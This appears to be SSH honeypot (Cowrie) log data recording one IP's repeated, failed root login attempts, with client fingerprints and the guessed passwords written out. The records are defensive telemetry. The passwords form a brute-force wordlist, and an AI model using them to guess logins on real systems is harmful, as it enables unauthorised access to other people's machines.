{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:58.721101Z","src_ip":"60.165.124.241","session":"46a51fa099ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55W0rd","message":"login attempt [root/Pa55W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:59.456947Z","src_ip":"60.165.124.241","session":"46a51fa099ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:00.700240Z","src_ip":"60.165.124.241","session":"46a51fa099ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8ee47fd5cc2","protocol":"ssh","message":"New connection: 60.165.124.241:33870 (10.17.0.5:22) [session: a8ee47fd5cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:00.928243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:00.933333Z","src_ip":"60.165.124.241","session":"a8ee47fd5cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:01.168441Z","src_ip":"60.165.124.241","session":"a8ee47fd5cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe!@#123","message":"login attempt [root/qwe!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:01.883856Z","src_ip":"60.165.124.241","session":"a8ee47fd5cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:03.122344Z","src_ip":"60.165.124.241","session":"a8ee47fd5cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37154,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7113718f6e","protocol":"ssh","message":"New connection: 60.165.124.241:37154 (10.17.0.5:22) [session: 9b7113718f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:03.357303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:03.363193Z","src_ip":"60.165.124.241","session":"9b7113718f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:03.604203Z","src_ip":"60.165.124.241","session":"9b7113718f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gzHKde9TDRW4g","message":"login attempt [root/gzHKde9TDRW4g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:04.327774Z","src_ip":"60.165.124.241","session":"9b7113718f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:05.569202Z","src_ip":"60.165.124.241","session":"9b7113718f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40364,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac0449536596","protocol":"ssh","message":"New connection: 60.165.124.241:40364 (10.17.0.5:22) [session: ac0449536596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:05.806688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:05.815473Z","src_ip":"60.165.124.241","session":"ac0449536596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:06.054077Z","src_ip":"60.165.124.241","session":"ac0449536596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw!@QW","message":"login attempt [root/12qw!@QW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:06.775939Z","src_ip":"60.165.124.241","session":"ac0449536596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:08.017154Z","src_ip":"60.165.124.241","session":"ac0449536596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43206,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaac3f52a13a","protocol":"ssh","message":"New connection: 60.165.124.241:43206 (10.17.0.5:22) [session: aaac3f52a13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:08.249459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:08.254362Z","src_ip":"60.165.124.241","session":"aaac3f52a13a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:08.492039Z","src_ip":"60.165.124.241","session":"aaac3f52a13a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nucleus","message":"login attempt [root/nucleus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:09.209204Z","src_ip":"60.165.124.241","session":"aaac3f52a13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:10.460870Z","src_ip":"60.165.124.241","session":"aaac3f52a13a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46106,"dst_ip":"10.17.0.5","dst_port":22,"session":"021395e5b2a3","protocol":"ssh","message":"New connection: 60.165.124.241:46106 (10.17.0.5:22) [session: 021395e5b2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:10.694927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:10.700788Z","src_ip":"60.165.124.241","session":"021395e5b2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:10.939683Z","src_ip":"60.165.124.241","session":"021395e5b2a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc@123","message":"login attempt [root/ABCabc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:11.659678Z","src_ip":"60.165.124.241","session":"021395e5b2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:12.901162Z","src_ip":"60.165.124.241","session":"021395e5b2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49304,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b71d3e5038f","protocol":"ssh","message":"New connection: 60.165.124.241:49304 (10.17.0.5:22) [session: 1b71d3e5038f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:13.158254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:13.167423Z","src_ip":"60.165.124.241","session":"1b71d3e5038f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:13.422254Z","src_ip":"60.165.124.241","session":"1b71d3e5038f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm(IJN8uhb","message":"login attempt [root/0okm(IJN8uhb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:14.175061Z","src_ip":"60.165.124.241","session":"1b71d3e5038f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:15.430126Z","src_ip":"60.165.124.241","session":"1b71d3e5038f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52720,"dst_ip":"10.17.0.5","dst_port":22,"session":"8942bb5176d3","protocol":"ssh","message":"New connection: 60.165.124.241:52720 (10.17.0.5:22) [session: 8942bb5176d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:15.661598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:15.667490Z","src_ip":"60.165.124.241","session":"8942bb5176d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:15.920047Z","src_ip":"60.165.124.241","session":"8942bb5176d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3641323vit","message":"login attempt [root/3641323vit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:16.675884Z","src_ip":"60.165.124.241","session":"8942bb5176d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:17.918060Z","src_ip":"60.165.124.241","session":"8942bb5176d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55988,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7870d61f4c","protocol":"ssh","message":"New connection: 60.165.124.241:55988 (10.17.0.5:22) [session: dc7870d61f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:18.172233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:18.178014Z","src_ip":"60.165.124.241","session":"dc7870d61f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:03:18.433520Z","src_ip":"60.165.124.241","session":"dc7870d61f4c","protocol":"ssh"}
